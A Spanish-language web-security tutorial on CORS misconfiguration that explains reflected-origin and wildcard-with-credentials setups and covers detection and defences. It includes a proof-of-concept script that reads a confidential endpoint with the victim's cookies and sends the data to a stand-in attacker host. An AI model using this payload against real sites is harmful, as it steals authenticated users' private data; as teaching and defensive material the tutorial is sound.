CORS Misconfiguration
El CORS (Cross-Origin Resource Sharing) es el mecanismo que decide qué orígenes pueden leer, vía JavaScript, la respuesta de una petición a otro dominio. Por defecto el navegador lo prohíbe (same-origin policy); el servidor lo relaja con la cabecera Access-Control-Allow-Origin. Una configuración permisiva convierte esa relajación en una fuga: si el servidor refleja cualquier Origin y además permite credenciales, una web del atacante puede hacer que el navegador de la víctima autenticada solicite sus datos privados y se los entregue.
Las dos configuraciones peligrosas se ven en la respuesta interceptada con Burp. La primera es el comodín con credenciales, prohibido por el estándar pero que algunos servidores emiten:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueLa segunda, más común y explotable, es reflejar el Origin de la petición sin lista blanca: si mandamos Origin: https://attacker.com y el servidor responde Access-Control-Allow-Origin: https://attacker.com con Allow-Credentials: true, cualquier dominio vale. También conviene probar el origen null (documentos sandbox, file://). Confirmada la reflexión, se aloja una página que lee el recurso confidencial con las cookies de la víctima y lo exfiltra:
<script>
const req = new XMLHttpRequest();
req.open('GET', 'https://api.example.com/confidential', true);
req.withCredentials = true; // envia las cookies de la victima
req.onload = () => fetch('https://attacker.com/log?d=' + btoa(req.responseText));
req.send();
</script>Requisitos. El endpoint objetivo debe (1) devolver datos sensibles basándose en la cookie de sesión de la víctima y (2) responder con un Access-Control-Allow-Origin que incluya un origen controlado por el atacante junto a Access-Control-Allow-Credentials: true. Sin credenciales reflejadas, el navegador recibe la respuesta pero no deja leerla al script, y el ataque no roba nada.
Cómo detectarlo. En el tráfico, la firma es una respuesta cuyo Access-Control-Allow-Origin coincide exactamente con un Origin arbitrario de la petición (reflexión) o vale * acompañado de Allow-Credentials: true. Un escaneo de CORS (enviar Origin de prueba y observar si se refleja) lo revela; en producción, peticiones autenticadas cuyo Origin no pertenece a los dominios propios son la alerta.
Defensa. Nunca reflejar el Origin: mantener una lista blanca explícita de orígenes de confianza y comparar contra ella; no combinar Allow-Origin: * con Allow-Credentials: true; no confiar en el origen null. Para datos sensibles, exigir además un token anti-CSRF y no depender solo de la cookie. Se relaciona con el robo de sesión que también persigue el XSS.